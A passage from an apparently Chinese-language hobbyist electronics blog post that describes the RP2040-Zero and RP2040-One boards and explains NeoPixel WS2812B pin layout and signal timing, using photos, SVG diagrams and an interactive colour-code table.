<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9-vDLeSLRKYTtGPHMDwbQ0upUoP8DoKjgK9IqUzz2derZXOknrVGBjRrIMqjWI9WIZi-xa5GBcVcGBLKxxbc8Chafa9_1cHcrs7NzyDCEzk3CAi6TDkvObShSIPAgdpZyC4-K5Q_fLwBNYNpjNbBxjwrRHGPcg03COBP9ka6EUPB8a3bCjMETCj_R/w0/rp2040-neopixel-009.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9-vDLeSLRKYTtGPHMDwbQ0upUoP8DoKjgK9IqUzz2derZXOknrVGBjRrIMqjWI9WIZi-xa5GBcVcGBLKxxbc8Chafa9_1cHcrs7NzyDCEzk3CAi6TDkvObShSIPAgdpZyC4-K5Q_fLwBNYNpjNbBxjwrRHGPcg03COBP9ka6EUPB8a3bCjMETCj_R/w600/rp2040-neopixel-009.jpg"/></a></div>
<div>另外 RP2040-Zero 背後的 GP17 至 GP25 引腳則使用表面焊接焊墊</div>
<br/>
<a name="RP2040-One外觀"></a><h4 class="mra-h4">RP2040-One 外觀</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3a0XKeRiTVo5xQ4Tgos8QE9l94T80NVy47HpQKlX9Ta6itRJA14x85s5PvtydYDcE97oPXwUQhkMhdWs2wpueCtbAhCPuhcjEhIDczK_UXTtNrESgU2PvKW_AB3DyzrFXn1-tAMlkzEciWOX6zm1evc-P9_P-l5ThzAwbMWKp1_xaIm8UrwM0ZRiz/w0/rp2040-neopixel-042.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3a0XKeRiTVo5xQ4Tgos8QE9l94T80NVy47HpQKlX9Ta6itRJA14x85s5PvtydYDcE97oPXwUQhkMhdWs2wpueCtbAhCPuhcjEhIDczK_UXTtNrESgU2PvKW_AB3DyzrFXn1-tAMlkzEciWOX6zm1evc-P9_P-l5ThzAwbMWKp1_xaIm8UrwM0ZRiz/w600/rp2040-neopixel-042.jpg"/></a></div>
<div>RP2040-One 正面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoIiJLYSC9pnYDiA7j4vGVzhl_jfjJGUmWxmqMtzzkZ-JnYGB0BrXtmRoHWcQ6uBbyoNhmX7n4fb6GMMRkmn1l2nIFMXVhWaBvrjr_82Xll0sx7I2tPma5ieNQp3tNSx55sC_N34eyv_qpOyYmgfEg-wCSiJQAjG7EraNGPDdKlCXRdzFS4Vdx3JjW/w0/rp2040-neopixel-046.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoIiJLYSC9pnYDiA7j4vGVzhl_jfjJGUmWxmqMtzzkZ-JnYGB0BrXtmRoHWcQ6uBbyoNhmX7n4fb6GMMRkmn1l2nIFMXVhWaBvrjr_82Xll0sx7I2tPma5ieNQp3tNSx55sC_N34eyv_qpOyYmgfEg-wCSiJQAjG7EraNGPDdKlCXRdzFS4Vdx3JjW/w600/rp2040-neopixel-046.jpg"/></a></div>
<div>RP2040-One 同樣使用 GP16 以 NeoPixel RGB LED 取代傳統 LED 作為 電路板LED</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWUlHe4qZAjB4P8wGRJdil_9LG1nMC-uAxtuFKd3FQs_Dvrsq79iWhAF7NIktZVGHxrdn5S2x8vwxbegeDwmDaobU6CWrk1l7tP6iK2SM0oxvFJ4x6YIUpFZuaaL1EncH-WPLWh7_IoEb6Cw501ywU-DbCEzxMv_A2kbvdoAPt0FEprbB8fbDx9fA0/w0/rp2040-neopixel-044.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWUlHe4qZAjB4P8wGRJdil_9LG1nMC-uAxtuFKd3FQs_Dvrsq79iWhAF7NIktZVGHxrdn5S2x8vwxbegeDwmDaobU6CWrk1l7tP6iK2SM0oxvFJ4x6YIUpFZuaaL1EncH-WPLWh7_IoEb6Cw501ywU-DbCEzxMv_A2kbvdoAPt0FEprbB8fbDx9fA0/w600/rp2040-neopixel-044.jpg"/></a></div>
<div>WK 3.3V 線性穩壓器</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikndAPGFrYQP7lOp2C5k5SgNpgWK48QRoUEr6sO4mWqXBkniuBCYssoQLhmgimXsEEwaO0KjVE-E0k_43XbH3U2IoPEFNz_aRCPBTHrF_JYzuJoD2MhFCdyed3mNnYcCBh-Osrve8V397BvnAn58xenaemvozeeH7YDEhov9WofbUgqi4qNo_iE9pV/w0/rp2040-neopixel-045.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikndAPGFrYQP7lOp2C5k5SgNpgWK48QRoUEr6sO4mWqXBkniuBCYssoQLhmgimXsEEwaO0KjVE-E0k_43XbH3U2IoPEFNz_aRCPBTHrF_JYzuJoD2MhFCdyed3mNnYcCBh-Osrve8V397BvnAn58xenaemvozeeH7YDEhov9WofbUgqi4qNo_iE9pV/w600/rp2040-neopixel-045.jpg"/></a></div>
<div>25Q32JVS1Q 4MB 快閃記憶體</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE9BTogPZ6o6tw5_7UAluBNdul4q9DHChencPp8A-klTbCOMSX9adSlMyoFy7XSyfBSMZ_bkY5RCXi0i0LuIKp2sdBm5Of6FgziDVBbfK4ScX4J4DsgI8N2OsvoOT-mH_SWn0LSNHNviCGkxfz3xQLgJvjuKqR2NPvFHwVwQLDpVCnzl-C9cmuKioL/w0/rp2040-neopixel-043.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE9BTogPZ6o6tw5_7UAluBNdul4q9DHChencPp8A-klTbCOMSX9adSlMyoFy7XSyfBSMZ_bkY5RCXi0i0LuIKp2sdBm5Of6FgziDVBbfK4ScX4J4DsgI8N2OsvoOT-mH_SWn0LSNHNviCGkxfz3xQLgJvjuKqR2NPvFHwVwQLDpVCnzl-C9cmuKioL/w600/rp2040-neopixel-043.jpg"/></a></div>
<div>使用 USB Type-A 插頭,能夠不需要連接線路、直接安裝到大部分電腦上使用</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB9CrAfKYr21oE5UtUMGoaGMD08ZVgQrW9JumlJfHJxjeXHfGZZ4H1i2UhVZq6A4jCUIxR5Yw4txYBHD_904lIhL8TjbQcOfuRexY2JEJ_9Ttcay2njdiC7B2SYTbYF_KQYYbTPTS6bCoeNu8vz8RhXXyLZtSNmHH_JAfyB2F9UQyqcl1d1VeHtLkF/w0/rp2040-neopixel-048.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB9CrAfKYr21oE5UtUMGoaGMD08ZVgQrW9JumlJfHJxjeXHfGZZ4H1i2UhVZq6A4jCUIxR5Yw4txYBHD_904lIhL8TjbQcOfuRexY2JEJ_9Ttcay2njdiC7B2SYTbYF_KQYYbTPTS6bCoeNu8vz8RhXXyLZtSNmHH_JAfyB2F9UQyqcl1d1VeHtLkF/w600/rp2040-neopixel-048.jpg"/></a></div>
<div>同樣 RP2040晶片焊接在 RP2040-One 背後</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0DYpStgd_i-i-hlCFypA7VA3tAo3Oq4jDAYGTGby-alDstGYn5VIy8YyqeVD9I_lff5xNo0zBsIqzh4Qhnhv0FVFdo03eiM6C3dLNsnF5rm_RM655Q-WUqzz8RMuKoUv9QKC8qED1mQZ7KOE5DAm7HBciOkxh9G_KJkMfPXQOQu9rzbvEkt9F98u2/w0/rp2040-neopixel-047.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0DYpStgd_i-i-hlCFypA7VA3tAo3Oq4jDAYGTGby-alDstGYn5VIy8YyqeVD9I_lff5xNo0zBsIqzh4Qhnhv0FVFdo03eiM6C3dLNsnF5rm_RM655Q-WUqzz8RMuKoUv9QKC8qED1mQZ7KOE5DAm7HBciOkxh9G_KJkMfPXQOQu9rzbvEkt9F98u2/w600/rp2040-neopixel-047.jpg"/></a></div>
<div>同樣使用 12MHz 晶體振盪器</div>
<br/>
<a name="RP2040-One引腳"></a><h4 class="mra-h4">RP2040-One 引腳</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuNhOA4A0Q3fDrlzwfk7NahaKUfrrABTIUYeHb9Zmo500XzE5ZZTSYXn1yhzirDqnlrK_Vg5TRXd6l0lBqh2y_9s83RMAPMVPnKKXjmeWC6KBVPQsqt2e8ieAJ8GtQD6xhcAJbILHRnZeO_Uxjl6nqtsHD8S37XFy7T3D_fzMCShUBfAUieuVpKo5q/w0/rp2040-neopixel-050.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuNhOA4A0Q3fDrlzwfk7NahaKUfrrABTIUYeHb9Zmo500XzE5ZZTSYXn1yhzirDqnlrK_Vg5TRXd6l0lBqh2y_9s83RMAPMVPnKKXjmeWC6KBVPQsqt2e8ieAJ8GtQD6xhcAJbILHRnZeO_Uxjl6nqtsHD8S37XFy7T3D_fzMCShUBfAUieuVpKo5q/w600/rp2040-neopixel-050.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimlKkZPwuJ8B31wxHUWxJCmJUNdRfVJR8xOBrKLYoBIeKbfiL0o3Ar6AbSAW8wolTs2mUaFr59KdPJ_7VF1ixpfWFfUiherwz1BHSz1MPeix8Zv_j2wmxm-DyUjy2V2TccNzqDowj96CiBlkXx40QECs-eLIZBJ-9SgqhvV3VHVWxUdfQrgS1ZUyOH/w0/rp2040-neopixel-049.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimlKkZPwuJ8B31wxHUWxJCmJUNdRfVJR8xOBrKLYoBIeKbfiL0o3Ar6AbSAW8wolTs2mUaFr59KdPJ_7VF1ixpfWFfUiherwz1BHSz1MPeix8Zv_j2wmxm-DyUjy2V2TccNzqDowj96CiBlkXx40QECs-eLIZBJ-9SgqhvV3VHVWxUdfQrgS1ZUyOH/w600/rp2040-neopixel-049.jpg"/></a></div>
<div>與 RP2040-Zero 相同佈局的引腳</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhho2-FIr5nwlzssyZgogTxIi49IZPxxtenkkL4fphHodRsu10Webd2TArcJTn7D1BS7RHlJRsr4cO7RhiY9kpa4x_iL9zqRWZjz6flwB3j9CNzbwuspJBAgDFVZKy_mBS4UqVhQOnhIIAz_fOuJOlCI5mF_nKATVpsnH5tZu9mTy_XlHce5Xcfq8oS/w0/rp2040-neopixel-051.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhho2-FIr5nwlzssyZgogTxIi49IZPxxtenkkL4fphHodRsu10Webd2TArcJTn7D1BS7RHlJRsr4cO7RhiY9kpa4x_iL9zqRWZjz6flwB3j9CNzbwuspJBAgDFVZKy_mBS4UqVhQOnhIIAz_fOuJOlCI5mF_nKATVpsnH5tZu9mTy_XlHce5Xcfq8oS/w600/rp2040-neopixel-051.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5xS4q7Bgo1IY429zhbcQbT2rc97HRzsRg04pD8lyFYLHcGn7ucb-swy5Ma6VrPyGmZNOh3tL61Hvl0C3zzpMAdeSHiuyxT7-coXIEclOOt2qBayVTe_tERrQb85KDZ8ycLEYhtIB9H1Wl7ZWQQhU2XUDxNkGOddNeR5KDFrIqeiOWyT4hQOjKsPz7/w0/rp2040-neopixel-052.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5xS4q7Bgo1IY429zhbcQbT2rc97HRzsRg04pD8lyFYLHcGn7ucb-swy5Ma6VrPyGmZNOh3tL61Hvl0C3zzpMAdeSHiuyxT7-coXIEclOOt2qBayVTe_tERrQb85KDZ8ycLEYhtIB9H1Wl7ZWQQhU2XUDxNkGOddNeR5KDFrIqeiOWyT4hQOjKsPz7/w600/rp2040-neopixel-052.jpg"/></a></div>
<div>RP2040-One 及 RP2040-Zero 基本上完全相同,兩者都是非常方面連接到電腦</div>
<br/>
<a name="NeoPixel引腳"></a><h4 class="mra-h4">NeoPixel 引腳</h4>
<svg version="1.1" width="600" viewBox="0 0 384 424" xmlns="http://www.w3.org/2000/svg">
<g id="protect-neopixel" transform="rotate(-90)">
<rect id="protect-pin-1-vcc" x="-20" y="294" width="20" height="54" fill="#ff0000" aria-label="Pin 1 VCC" onclick="window.alert(this.getAttribute('aria-label'));"/>
<rect id="protect-pin-2-do" x="-20" y="36" width="20" height="54" fill="#00ff00" aria-label="Pin 2 DO" onclick="window.alert(this.getAttribute('aria-label'));"/>
<rect id="protect-pin-3-gnd" x="-424" y="36" width="20" height="54" fill="#000000" aria-label="Pin 3 GND" onclick="window.alert(this.getAttribute('aria-label'));"/>
<rect id="protect-pin-4-di" x="-424" y="294" width="20" height="54" fill="#cccccc" aria-label="Pin 4 DI" onclick="window.alert(this.getAttribute('aria-label'));"/>
<rect id="protect-shield" x="-404" width="384" height="384" fill="#f0f0f0"/>
<circle id="protect-conductor-base" cx="-212" cy="192" r="148" fill="#c8c8c8"/>
<g id="protect-isolator" fill="#f0f0f0">
<rect x="-226" y="56" width="28" height="272"/>
<rect x="-128" y="106" width="52" height="172"/>
<rect x="-348" y="106" width="52" height="172"/>
<rect x="-200" y="126" width="74" height="28"/>
<rect x="-298" y="230" width="74" height="28"/>
</g>
<circle id="protect-ring" cx="-212" cy="192" r="148" fill="none" stroke="#dcdcdc" stroke-width="30"/>
<rect id="protect-ws2812b" x="-291" y="168" width="60" height="48" fill="#645050"/>
<rect id="protect-green-led" x="-190" y="264" width="24" height="16" fill="#00ff00"/>
<rect id="protect-red-led" x="-190" y="184" width="24" height="16" fill="#ff0000"/>
<rect id="protect-blue-led" x="-190" y="104" width="24" height="16" fill="#0000ff"/>
</g>
</svg>
<div>NeoPixel 是一種使用 WS2812B晶片 控制的 RGB LED<br/>
不計算 電源引腳 及 接地引腳 ,只需要1支 DI引腳 便能夠控制 LED的顏色及亮度</div>
<br/>
<a name="NeoPixel訊號"></a><h4 class="mra-h4">NeoPixel 訊號</h4>
<svg version="1.1" width="800" height="200" viewBox="0 0 32000 8000" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<polyline id="signal-0" points="0,0 0,5000 300,5000 300,0 1250,0 1250,5000" fill="none" stroke-width="100" transform="scale(1,-1) translate(0,-6000)"/>
<polyline id="signal-1" points="0,0 0,5000 800,5000 800,0 1250,0 1250,5000" fill="none" stroke-width="100" transform="scale(1,-1) translate(0,-6000)"/>
<polyline id="signal-separator" points="0,0 0,8000" fill="none" stroke="#000000" stroke-width="100" stroke-opacity="0.2"/>
</defs>
<rect width="32000" height="8000" fill="#FFFF00"/>
<g transform="translate(1000,0)">
<g transform="translate(0,1000)">
<g stroke="#00FF00" transform="translate(0,0)">
<use xlink:href="#signal-0" transform="translate(0,0)"/>
<use xlink:href="#signal-0" transform="translate(1250,0)"/>
<use xlink:href="#signal-0" transform="translate(2500,0)"/>
<use xlink:href="#signal-0" transform="translate(3750,0)"/>
<use xlink:href="#signal-0" transform="translate(5000,0)"/>
<use xlink:href="#signal-0" transform="translate(6250,0)"/>
<use xlink:href="#signal-0" transform="translate(7500,0)"/>
<use xlink:href="#signal-0" transform="translate(8750,0)"/>
</g>
<g stroke="#FF0000" transform="translate(10000,0)">
<use xlink:href="#signal-0" transform="translate(0,0)"/>
<use xlink:href="#signal-0" transform="translate(1250,0)"/>
<use xlink:href="#signal-0" transform="translate(2500,0)"/>
<use xlink:href="#signal-0" transform="translate(3750,0)"/>
<use xlink:href="#signal-0" transform="translate(5000,0)"/>
<use xlink:href="#signal-0" transform="translate(6250,0)"/>
<use xlink:href="#signal-0" transform="translate(7500,0)"/>
<use xlink:href="#signal-0" transform="translate(8750,0)"/>
</g>
<g stroke="#0000FF" transform="translate(20000,0)">
<use xlink:href="#signal-0" transform="translate(0,0)"/>
<use xlink:href="#signal-0" transform="translate(1250,0)"/>
<use xlink:href="#signal-0" transform="translate(2500,0)"/>
<use xlink:href="#signal-0" transform="translate(3750,0)"/>
<use xlink:href="#signal-0" transform="translate(5000,0)"/>
<use xlink:href="#signal-0" transform="translate(6250,0)"/>
<use xlink:href="#signal-0" transform="translate(7500,0)"/>
<use xlink:href="#signal-0" transform="translate(8750,0)"/>
</g>
<g font-size="1000" font-family="OcrA" text-anchor="middle" transform="translate(625,750)">
<g fill="#00FF00" transform="translate(0,0)">
<text x="0">0</text>
<text x="1250">0</text>
<text x="2500">0</text>
<text x="3750">0</text>
<text x="5000">0</text>
<text x="6250">0</text>
<text x="7500">0</text>
<text x="8750">0</text>
</g>
<g fill="#FF0000" transform="translate(10000,0)">
<text x="0">0</text>
<text x="1250">0</text>
<text x="2500">0</text>
<text x="3750">0</text>
<text x="5000">0</text>
<text x="6250">0</text>
<text x="7500">0</text>
<text x="8750">0</text>
</g>
<g fill="#0000FF" transform="translate(20000,0)">
<text x="0">0</text>
<text x="1250">0</text>
<text x="2500">0</text>
<text x="3750">0</text>
<text x="5000">0</text>
<text x="6250">0</text>
<text x="7500">0</text>
<text x="8750">0</text>
</g>
</g>
</g>
<g>
<use xlink:href="#signal-separator" transform="translate(0,0)"/>
<use xlink:href="#signal-separator" transform="translate(1250,0)"/>
<use xlink:href="#signal-separator" transform="translate(2500,0)"/>
<use xlink:href="#signal-separator" transform="translate(3750,0)"/>
<use xlink:href="#signal-separator" transform="translate(5000,0)"/>
<use xlink:href="#signal-separator" transform="translate(6250,0)"/>
<use xlink:href="#signal-separator" transform="translate(7500,0)"/>
<use xlink:href="#signal-separator" transform="translate(8750,0)"/>
<use xlink:href="#signal-separator" transform="translate(10000,0)"/>
<use xlink:href="#signal-separator" transform="translate(11250,0)"/>
<use xlink:href="#signal-separator" transform="translate(12500,0)"/>
<use xlink:href="#signal-separator" transform="translate(13750,0)"/>
<use xlink:href="#signal-separator" transform="translate(15000,0)"/>
<use xlink:href="#signal-separator" transform="translate(16250,0)"/>
<use xlink:href="#signal-separator" transform="translate(17500,0)"/>
<use xlink:href="#signal-separator" transform="translate(18750,0)"/>
<use xlink:href="#signal-separator" transform="translate(20000,0)"/>
<use xlink:href="#signal-separator" transform="translate(21250,0)"/>
<use xlink:href="#signal-separator" transform="translate(22500,0)"/>
<use xlink:href="#signal-separator" transform="translate(23750,0)"/>
<use xlink:href="#signal-separator" transform="translate(25000,0)"/>
<use xlink:href="#signal-separator" transform="translate(26250,0)"/>
<use xlink:href="#signal-separator" transform="translate(27500,0)"/>
<use xlink:href="#signal-separator" transform="translate(28750,0)"/>
<use xlink:href="#signal-separator" transform="translate(30000,0)"/>
</g>
</g>
</svg>
<div>NeoPixel RGB LED 色碼以 GRB 次序排序,而非 RGB<br/>
3種顏色 及 8位元亮度,總共 24位元,並依 最高有效位 開始<br/>
向 NeoPixel 發送 24位元訊號大約需要 30000納秒 (Nanosecond)<br/>
因此,平均每1位元訊號大約需要 1250納秒</div>
<br/>
<div>要向 NeoPixel 發送 位元訊號 並非單純將 DI引腳 設定為 高電壓訊號 或 低電壓訊號</div>
<br/>
<svg version="1.1" width="800" height="426.666666" viewBox="0 0 15000 8000" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<rect width="15000" height="8000" fill="#FFFF00"/>
<g transform="translate(1000,0)">
<g transform="translate(0,1000)">
<g stroke="#000000" transform="translate(0,0)">
<polyline points="0,0 0,5000 3000,5000 3000,0 12500,0 12500,5000" fill="none" stroke-width="100" transform="scale(1,-1) translate(0,-6000)"/>
</g>
<g font-size="1000" font-family="OcrA" text-anchor="middle" transform="translate(6250,750)">
<g fill="#000000" transform="translate(0,0)">
<text x="0">0</text>
</g>
</g>
</g>
<g>
<use xlink:href="#signal-separator" transform="translate(0,0)"/>
<use xlink:href="#signal-separator" transform="translate(12500,0)"/>
</g>
</g>
</svg>
<div>要讓 DI引腳 保持 高電壓大約 300納秒 ,再讓 DI引腳 保持 低電壓大約 950納秒,將低位訊號 寫入到緩衝區</div>
<br/>
<svg version="1.1" width="800" height="426.666666" viewBox="0 0 15000 8000" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<rect width="15000" height="8000" fill="#FFFF00"/>
<g transform="translate(1000,0)">
<g transform="translate(0,1000)">
<g stroke="#000000" transform="translate(0,0)">
<polyline points="0,0 0,5000 8000,5000 8000,0 12500,0 12500,5000" fill="none" stroke-width="100" transform="scale(1,-1) translate(0,-6000)"/>
</g>
<g font-size="1000" font-family="OcrA" text-anchor="middle" transform="translate(6250,750)">
<g fill="#000000" transform="translate(0,0)">
<text x="0">1</text>
</g>
</g>
</g>
<g>
<use xlink:href="#signal-separator" transform="translate(0,0)"/>
<use xlink:href="#signal-separator" transform="translate(12500,0)"/>
</g>
</g>
</svg>
<div>要讓 DI引腳 保持 高電壓大約 800納秒 ,再讓 DI引腳 保持 低電壓大約 450納秒,將高位訊號 寫入到緩衝區</div>
<br/>
<svg version="1.1" width="800" height="123.076923" viewBox="0 0 52000 8000" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<rect width="52000" height="8000" fill="#FFFF00"/>
<g transform="translate(1000,0)">
<g transform="translate(0,1000)">
<g stroke="#000000" transform="translate(0,0)">
<polyline points="0,5000 0,0 50000,0 50000,5000" fill="none" stroke-width="100" transform="scale(1,-1) translate(0,-6000)"/>
</g>
<g font-size="2500" font-family="OcrA" text-anchor="middle" transform="translate(25000,1500)">
<g fill="#000000" transform="translate(0,0)">
<text x="0">Reset</text>
</g>
</g>
</g>
<g>
<use xlink:href="#signal-separator" transform="translate(0,0)"/>
<use xlink:href="#signal-separator" transform="translate(50000,0)"/>
</g>
</g>
</svg>
<div>讓 DI引腳 保持 低電壓大約 50000納秒,令緩衝區的資料寫到晶片,觸發效果</div>
<br/>
<a name="訊號模擬"></a><h4 class="mra-h4">訊號模擬</h4>
<svg version="1.1" width="800" height="200" viewBox="0 0 32000 8000" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<rect width="32000" height="8000" fill="#FFFF00"/>
<g transform="translate(1000,0)">
<g transform="translate(0,1000)">
<g stroke="#00FF00" transform="translate(0,0)">
<use id="neopixel-signal-g7" xlink:href="#signal-0" transform="translate(0,0)"/>
<use id="neopixel-signal-g6" xlink:href="#signal-0" transform="translate(1250,0)"/>
<use id="neopixel-signal-g5" xlink:href="#signal-0" transform="translate(2500,0)"/>
<use id="neopixel-signal-g4" xlink:href="#signal-0" transform="translate(3750,0)"/>
<use id="neopixel-signal-g3" xlink:href="#signal-0" transform="translate(5000,0)"/>
<use id="neopixel-signal-g2" xlink:href="#signal-0" transform="translate(6250,0)"/>
<use id="neopixel-signal-g1" xlink:href="#signal-0" transform="translate(7500,0)"/>
<use id="neopixel-signal-g0" xlink:href="#signal-0" transform="translate(8750,0)"/>
</g>
<g stroke="#FF0000" transform="translate(10000,0)">
<use id="neopixel-signal-r7" xlink:href="#signal-0" transform="translate(0,0)"/>
<use id="neopixel-signal-r6" xlink:href="#signal-0" transform="translate(1250,0)"/>
<use id="neopixel-signal-r5" xlink:href="#signal-0" transform="translate(2500,0)"/>
<use id="neopixel-signal-r4" xlink:href="#signal-0" transform="translate(3750,0)"/>
<use id="neopixel-signal-r3" xlink:href="#signal-0" transform="translate(5000,0)"/>
<use id="neopixel-signal-r2" xlink:href="#signal-0" transform="translate(6250,0)"/>
<use id="neopixel-signal-r1" xlink:href="#signal-0" transform="translate(7500,0)"/>
<use id="neopixel-signal-r0" xlink:href="#signal-0" transform="translate(8750,0)"/>
</g>
<g stroke="#0000FF" transform="translate(20000,0)">
<use id="neopixel-signal-b7" xlink:href="#signal-0" transform="translate(0,0)"/>
<use id="neopixel-signal-b6" xlink:href="#signal-0" transform="translate(1250,0)"/>
<use id="neopixel-signal-b5" xlink:href="#signal-0" transform="translate(2500,0)"/>
<use id="neopixel-signal-b4" xlink:href="#signal-0" transform="translate(3750,0)"/>
<use id="neopixel-signal-b3" xlink:href="#signal-0" transform="translate(5000,0)"/>
<use id="neopixel-signal-b2" xlink:href="#signal-0" transform="translate(6250,0)"/>
<use id="neopixel-signal-b1" xlink:href="#signal-0" transform="translate(7500,0)"/>
<use id="neopixel-signal-b0" xlink:href="#signal-0" transform="translate(8750,0)"/>
</g>
<g font-size="1000" font-family="OcrA" text-anchor="middle" transform="translate(625,750)">
<g fill="#00FF00" transform="translate(0,0)">
<text id="neopixel-value-g7" x="0">0</text>
<text id="neopixel-value-g6" x="1250">0</text>
<text id="neopixel-value-g5" x="2500">0</text>
<text id="neopixel-value-g4" x="3750">0</text>
<text id="neopixel-value-g3" x="5000">0</text>
<text id="neopixel-value-g2" x="6250">0</text>
<text id="neopixel-value-g1" x="7500">0</text>
<text id="neopixel-value-g0" x="8750">0</text>
</g>
<g fill="#FF0000" transform="translate(10000,0)">
<text id="neopixel-value-r7" x="0">0</text>
<text id="neopixel-value-r6" x="1250">0</text>
<text id="neopixel-value-r5" x="2500">0</text>
<text id="neopixel-value-r4" x="3750">0</text>
<text id="neopixel-value-r3" x="5000">0</text>
<text id="neopixel-value-r2" x="6250">0</text>
<text id="neopixel-value-r1" x="7500">0</text>
<text id="neopixel-value-r0" x="8750">0</text>
</g>
<g fill="#0000FF" transform="translate(20000,0)">
<text id="neopixel-value-b7" x="0">0</text>
<text id="neopixel-value-b6" x="1250">0</text>
<text id="neopixel-value-b5" x="2500">0</text>
<text id="neopixel-value-b4" x="3750">0</text>
<text id="neopixel-value-b3" x="5000">0</text>
<text id="neopixel-value-b2" x="6250">0</text>
<text id="neopixel-value-b1" x="7500">0</text>
<text id="neopixel-value-b0" x="8750">0</text>
</g>
</g>
</g>
<g>
<use xlink:href="#signal-separator" transform="translate(0,0)"/>
<use xlink:href="#signal-separator" transform="translate(1250,0)"/>
<use xlink:href="#signal-separator" transform="translate(2500,0)"/>
<use xlink:href="#signal-separator" transform="translate(3750,0)"/>
<use xlink:href="#signal-separator" transform="translate(5000,0)"/>
<use xlink:href="#signal-separator" transform="translate(6250,0)"/>
<use xlink:href="#signal-separator" transform="translate(7500,0)"/>
<use xlink:href="#signal-separator" transform="translate(8750,0)"/>
<use xlink:href="#signal-separator" transform="translate(10000,0)"/>
<use xlink:href="#signal-separator" transform="translate(11250,0)"/>
<use xlink:href="#signal-separator" transform="translate(12500,0)"/>
<use xlink:href="#signal-separator" transform="translate(13750,0)"/>
<use xlink:href="#signal-separator" transform="translate(15000,0)"/>
<use xlink:href="#signal-separator" transform="translate(16250,0)"/>
<use xlink:href="#signal-separator" transform="translate(17500,0)"/>
<use xlink:href="#signal-separator" transform="translate(18750,0)"/>
<use xlink:href="#signal-separator" transform="translate(20000,0)"/>
<use xlink:href="#signal-separator" transform="translate(21250,0)"/>
<use xlink:href="#signal-separator" transform="translate(22500,0)"/>
<use xlink:href="#signal-separator" transform="translate(23750,0)"/>
<use xlink:href="#signal-separator" transform="translate(25000,0)"/>
<use xlink:href="#signal-separator" transform="translate(26250,0)"/>
<use xlink:href="#signal-separator" transform="translate(27500,0)"/>
<use xlink:href="#signal-separator" transform="translate(28750,0)"/>
<use xlink:href="#signal-separator" transform="translate(30000,0)"/>
</g>
</g>
</svg>
<table class="mra-table mra-collapse" width="80%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="15%"/>
<col width="15%"/>
<col width="15%"/>
<col width="15%"/>
<col width="20%"/>
<col width="20%"/>
</colgroup>
<thead>
<tr>
<th><input type="color" value="#000000" oninput="neopixel_rgb(this.value.substring(1));"/></th>
<th>紅(DEC)</th>
<th>綠(DEC)</th>
<th>藍(DEC)</th>
<th>RGB(HEX)<br/>(Arduino適用)</th>
<th>GRB(DEC)<br/>(*Python適用)</th>
</tr>
</thead>
<tbody>
<tr>
<td>十進制</td>
<td id="value-r-dec">0</td>
<td id="value-g-dec">0</td>
<td id="value-b-dec">0</td>
<td id="value-rgb-dec">0</td>
<td id="value-grb-dec">(0, 0, 0)</td>
</tr>
<tr>
<td>十六進制</td>
<td id="value-r-hex">0x00</td>
<td id="value-g-hex">0x00</td>
<td id="value-b-hex">0x00</td>
<td id="value-rgb-hex">#000000</td>
<td id="value-grb-hex">(0x00, 0x00, 0x00)</td>
</tr>
</tbody>
</table>
<br/>
<div>RP2040-Zero 使用 12MHz 晶體振盪器, 1 / 12000000 = 0.000000083秒 = 82納秒<br/>
因此能夠應付 NeoPixel 的訊號要求<br/></div>
<br/>
<a name="測試NeoPixel"></a><h4 class="mra-h4">測試 NeoPixel</h4>
